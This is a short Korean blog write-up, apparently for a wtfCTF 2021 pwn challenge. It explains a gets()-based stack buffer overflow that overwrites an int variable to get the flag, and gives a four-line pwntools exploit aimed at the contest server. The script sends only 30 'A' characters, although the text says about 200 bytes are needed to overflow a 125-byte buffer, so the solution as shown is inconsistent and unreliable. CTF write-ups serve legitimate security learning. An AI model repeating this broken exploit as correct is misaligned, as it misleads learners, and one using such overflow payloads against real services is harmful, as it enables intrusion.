이번에 풀이할 문제는 wtfCTF 2021의 MoM5m4g1c 문제다. c언어 소스 코드와 nc 서버가 주어져 있다.
일단 bof에 취약한 gets 함수가 보인다. int형 변수 water에 0을 넣은 후, gets 함수를 통해 125byte 크기의 char형 배열 bottle에 입력을 받는다. 그 다음 water의 값이 0인지 체크한 후 0이 아니라면 flag를 얻게 해준다.
간단한 stack buffer overflow 문제다. 200byte 정도의 더미 값을 넣어준다면 오버플로우를 통해 water의 값이 변조돼 flag를 얻을 수 있을 것 같다.
from pwn import *
p = remote("20.42.99.115", 3000)
p.sendline('A'*30)
p.interactive()
글을 쓰는, 현재는 서버가 닫혔기 때문에 flag 스샷은 첨부하지 못한다.. (대회가 끝나자마자 바로 닫힐 줄은 몰랐다..)
'CTF' 카테고리의 다른 글
ThcCTF 2021 - Welcome (0) | 2021.06.12 |
---|---|
wtfCTF 2021 - k3Y (0) | 2021.06.05 |
[Pwn2WinCTF 2021] Pwn - Baby write-only password manager(not solved) (0) | 2021.05.30 |
[DawgCTF 2021] Pwn - Bofit (0) | 2021.05.08 |
[DawgCTF 2021] Misc - Two Truths and a Fib (0) | 2021.05.08 |